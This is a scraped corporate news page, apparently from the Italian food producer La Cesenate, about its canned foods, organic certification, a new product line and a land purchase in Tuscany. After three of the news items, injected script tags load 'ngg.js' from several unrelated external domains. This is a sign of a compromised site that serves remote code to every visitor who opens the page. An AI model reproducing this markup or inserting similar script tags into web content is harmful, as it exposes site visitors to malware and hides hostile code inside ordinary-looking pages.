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NATURAL TECNOLOGY
La Cesenate who for half a century have been known internationally for the production of canned and bottled foodstuffs, is today at the forefront in the application of the most innovative technology at every stage in processing, aiming to offer foods of a higher quality, certified to a worldwide standard. |
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| In 2002 La Cesenate’s agricultural companies have achieved an important goal: they have been certificated as organic cultivars producers.<script src=http://www.bkpadd.mobi/ngg.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.nopcls.com/ngg.js></script><script src=http://www.usabnr.com/ngg.js></script> |
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| A new line of La Cesenate products is being prepared. Up until today the Company has been known as co-packer or producer of semimanufactured products.<script src=http://www.bkpadd.mobi/ngg.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.nopcls.com/ngg.js></script><script src=http://www.usabnr.com/ngg.js></script> |
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| It has been recently concluded in Tuscany, near Grosseto, La Cesenate’s acquisition of a new property large about 160 hectares.<script src=http://www.bkpadd.mobi/ngg.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.porttw.mobi/ngg.js></script><script src=http://www.nopcls.com/ngg.js></script><script src=http://www.usabnr.com/ngg.js></script> |
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